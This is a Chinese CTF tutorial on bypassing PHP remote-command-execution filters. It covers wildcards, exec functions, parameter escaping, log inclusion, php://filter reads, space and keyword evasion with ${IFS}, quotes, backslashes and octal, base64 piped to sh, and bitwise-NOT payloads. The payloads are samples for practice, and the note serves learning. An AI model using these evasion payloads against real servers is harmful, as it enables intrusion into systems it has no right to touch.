目录

RCE PHP远程命令执行绕过

# 通配符

绕过文件名/扩展名的限制

tac f*
cat f?ag.p?p
less f*
more f*
1
2
3
4

# php函数执行命令

system函数会将参数字符串作为系统命令执行

system("ls")
1

类似功能函数,eval,passthru,assert,exec,shell_exec,pre_match,create_function等等

参考

PHP敏感函数 (opens new window)

# 逃逸

# 检测函数waf()
eval(waf($_GET[cmd]));
1
2

题目对传参的变量要求很严格但没有严格过滤时,可以尝试逃逸

# 命令逃逸  
?cmd=$_GET[a]($_GET[b]);&a=assert&b=phpinfo()  
日志包含  
?cmd=include$_GET[1];&1=/var/log/apache2/access.log  
# 伪协议读文件
?cmd=include$_GET[1];&1=php://filter/convert.base64-encode/resource=index.php
# 其他
1
2
3
4
5
6
7

# 反引号,echo执行代码

echo `ls`
1

反引号中字符串作为命令执行,但是没有回显,前面补充一个echo,如果命令是有执行结果的,可以直接打印出来

eval("echo `ls`;");
1

对于没有回显的RCE,善用一些带有文件操作的命令,例如cp,mv,tee,>等,把结果写进文件或复制、重命名目标文件,解除限制

重定向“>”符号很好玩,把命令的结果打印到新的文件中,详细看写文件 (opens new window)

# 拼接

在命令行定义变量,拼接食用

a=l;b=s;$a$b;
1

3

# 空格绕过

注意:其中的url编码只有在get传参时能使用

%09     # tab的url编码
%0a     # 换行url编码
${IFS}  # bash中的分隔符,空格,tab,换行符
$IFS    # 同上
$IFS$9  # 同上
<       # 重定向
>      # 重定向
{命令,参数} # 例如,{ls,/} 
1
2
3
4
5
6
7
8

以上,由于大部分web题目的基础镜像使用了Apline Linux,shell环境比较基础,<,<>重定向不能和通配符?同时使用,如果是ubuntu环境,那么你可以尝试一下,具体参考刷题疑问-web容器环境

%09,%0Atab和换行的url编码,只有明确ban了才不能用,如果只是ban数字和字母,不妨碍继续使用

# 转义绕过

在一些时候开发者(出题人),可能只做了简单的关键词过滤或过滤逻辑不严格时,你或许可以通过转义字符绕过(这里转义字符一定不要有实际转义)

你可以在终端尝试,在加上反斜杠后不会转义的字符前加上反斜杠,例如,l,c没有实际意义的转义,所以转义后还是本身
Tip:转义在终端类环境下可用,例如system("")函数,只有一层php的eval()函数不能直接执行linux命令,配合反引号可以执行,但不会有回显,可以再配合一次重定向写文件

payload:c=system("ta\c f\lag.php");

$c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
1
2
3
4

当正则匹配字段/命令限制较多时,你可以多一个选择

参考

# 单双引号

在linux环境下,在要执行的命令中加入''单引号 双引号"",并不会解析,命令会正常执行,这也可以作为绕过关键字限制的一种方法

p''w''d
l''s
pw""d
l""s
1
2
3
4

等等类似命令都可以正常执行

# 八进制

在linux环境下,把命令转化为八进制数,使用$'\八进制数',命令会正确执行,注意:命令不能带有参数 例如ls -lah,tac /flag中-lah,/flag都算参数

更详细内容可以看探姬bashfuck (opens new window)这个项目

ls命令的八进制数

$'\154\163'
1

# {命令,参数}

在linux下可以使用{ls,/}格式执行命令

{ls,/}
1

# bin目录下工具

在代码执行限制时,后期练习可能ban掉所有字母,如果数字,通配符?和斜杠/还能用,可以使用bin目录下带数字的工具,例如/bin/base64

/???/????64${IFS}????.???
1

# 编码,管道符

在命令行使用ls的base64编码执行

echo bHM=|base64 -d|sh
1

解析:

  • 1.通过输出流echo打印base64编码,传递给管道符的第二部分
  • 2.base64进行解码,得到原始命令'ls',传递给第三部分
  • 3.sh在命令行中执行这个原始命令

2

在空格被ban时,可以使用${IFS},$IFS,$IFS$9填充空格

echo$IFSbHM=|base64$IFS$9-d|sh
1

# 取反

<?php
highlight_file(__FILE__);
$cmd = "phpinfo();";
echo urlencode((~$cmd));
# (~%8F%97%8F%96%91%99%90)();
eval($_GET[1]);
1
2
3
4
5
6

# 自增

参考:

自增,取反,异或 实现RCE (opens new window)

# 异或

大佬写的写的非常好了,又新又好😍,直接放参考了

参考:

无字母rce (opens new window)

无字母rce (opens new window)

你可以阅读同类型其他大佬内容文章:

命令执行总结 (opens new window)

最后一次更新于: 2024/10/21, 00:48:29